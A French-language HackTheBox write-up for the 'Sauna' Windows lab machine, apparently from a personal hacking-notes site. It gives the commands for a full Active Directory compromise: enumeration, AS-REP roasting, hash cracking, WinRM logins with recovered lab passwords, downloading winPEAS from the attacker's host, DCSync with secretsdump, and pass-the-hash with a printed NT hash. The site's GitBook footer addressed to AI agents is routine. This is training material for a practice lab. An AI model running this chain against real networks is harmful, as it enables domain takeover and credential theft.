> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md). # Compte rendu HackTheBox de Sauna {% embed url="" %} {% hint style="warning" %} **Compétences**: * Fuite d'informations * Énumération LDAP * Énumération des utilisateurs Kerberos - Kerbrute * Attaque AS-REP Roasting (GetNPUsers) * Cassage de hachages * Énumération du système - WinPEAS * Identifiants AutoLogon * BloodHound - SharpHound.ps1 * Attaque DCSync - Secretsdump (élévation de privilèges) * Pass-the-Hash {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts ```

**Analyse des ports ouverts avec extractport :**/ Utilisation de la fonction extractport pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

**Analyse des versions des ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted ```

## **Énumération et exploitation :** ### **Reconnaissance SMB:** Utilisation de CrackMapExec pour identifier le système d'exploitation ```bash crackmapexec smb 10.10.10.175 ```

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` .

#### Exploration des partages SMB sur le réseau pour identifier des ressources partagées, mais aucun résultat. ```bash crackmapexec smb 10.10.10.175 --shares ```

```bash smbmap -H 10.10.10.175 -u 'null' ```

```bash smbclient -L 10.10.10.175 -N ```

### **Reconnaissance RPC:** Utilisation de rpcclient pour interagir avec les services RPC et collecter des informations sur les ressources ```bash rpcclient -U "" 10.10.10.175 -N enumdomusers ```

### **Reconnaissance LDAP :** {% embed url="" %} #### Analyse des informations LDAP pour obtenir des détails sur la structure du domaine et les utilisateurs. ```bash ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts ```

**Analyse des informations LDAP** Analyse des détails sur la structure du domaine et les utilisateurs. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL ``` **Filtrage des utilisateurs LDAP** Filtrer pour n'obtenir que les utilisateurs LDAP. ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//' ```

### Liste des utilisateurs :

#### Créez un `users.txt` fichier contenant des noms d'utilisateur potentiels. ``` hugosmith h.smith hugo.smith hsmith fergussmith f.smith fergus.smith fsmith hugobear h.bear hugo.bear hbear stevenkerb s.kerb steven.kerb skerb shauncoins s.coins shaun.coins scoins bowietaylor b.taylor bowie.taylor btaylor sophiedriver s.driver sophie.driver sdriver ``` ### **Liste des utilisateurs via Kerberos** En utilisant `kerbrute` pour lister les utilisateurs valides. ```bash ./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt ```

### **Liste des utilisateurs via Impacket** En utilisant `impacket-GetNPUsers` pour lister les utilisateurs valides sans mots de passe. ```bash impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt ```

### Attaque par force brute : Utilisation de John pour craquer le hash récupéré.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

#### Connexion et contrôle à distance Utilisation de WinRM pour se connecter à distance. ```bash crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ``` #### Cela fonctionne, mais sans le marqueur pwned, il n'est pas possible de se connecter via WinRM.

Dans cet exemple, la connexion est possible car l'utilisateur fsmith est membre du groupe /\*Remote Management Users ```bash crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

#### **Connexion avec Evil-WinRM** Utilisation d'Evil-WinRM pour une connexion interactive via WinRM. ```bash evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

## Élévation de privilèges : #### **Vérification des privilèges spéciaux :** En utilisant `whoami /priv` pour vérifier les privilèges spéciaux.

#### **Recherche de nouveaux utilisateurs** En utilisant `net user` pour rechercher de nouveaux utilisateurs.

**Recherche d'identifiants pour l'utilisateur "svc/ loanmgr"** ### **Reconnaissance avec** winPEAS.exe {% embed url="" %} Télécharger et exécuter l'outil de reconnaissance winPEAS ```bash Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe" ./winPEAS.exe ```

### Validation des identifiants trouvés avec crackmapexec : Des identifiants de connexion automatiques pour l'utilisateur `svc_loanmgr` ont été trouvés, avec le mot de passe

#### Utilisation de crackmapexec pour valider que le mot de passe est correct. ```bash crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

### Connexion avec les identifiants "svc/ loanmgr" : ```bash evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

## Énumération du domaine avec BloodHound :

Installation de BloodHound :

```bash apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` #### Connexion à BloodHound avec les identifiants neo4j:neo4j.

#### Lancement de BloodHound. ```bash bloodhound &> /dev/null & disown ```

### Collecter des informations avec SharpHound.ps1 {% embed url="" %}

### Transfert des données collectées vers Linux et importation dans BloodHound #### Créer un fichier zip avec les résultats de la collecte. ```bash Import-Module ./sharhound.ps1 Invoke-BloodHound -CollectionMethod All ``` #### Télécharger le fichier zip depuis la machine Windows vers Linux. ```powershell download PS C:/windows/temp/privesc/file.zip file.zip ``` #### Importer le fichier zip dans BloodHound.

### Analyse et exploitation : #### Filtrer pour trouver le chemin le plus court vers l'administration

#### L'outil indique la possibilité d'effectuer une attaque DCSync.

## Vulnérabilité de l'attaque DCSync : {% embed url="" %} #### Utilisation de secretsdump pour obtenir le hash NT de l'utilisateur administrateur. ```bash impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175 ```

#### Utilisation de psexec pour exécuter cmd en tant qu'administrateur à l'aide du hash NT. ```bash impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e ```

### Drapeau final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.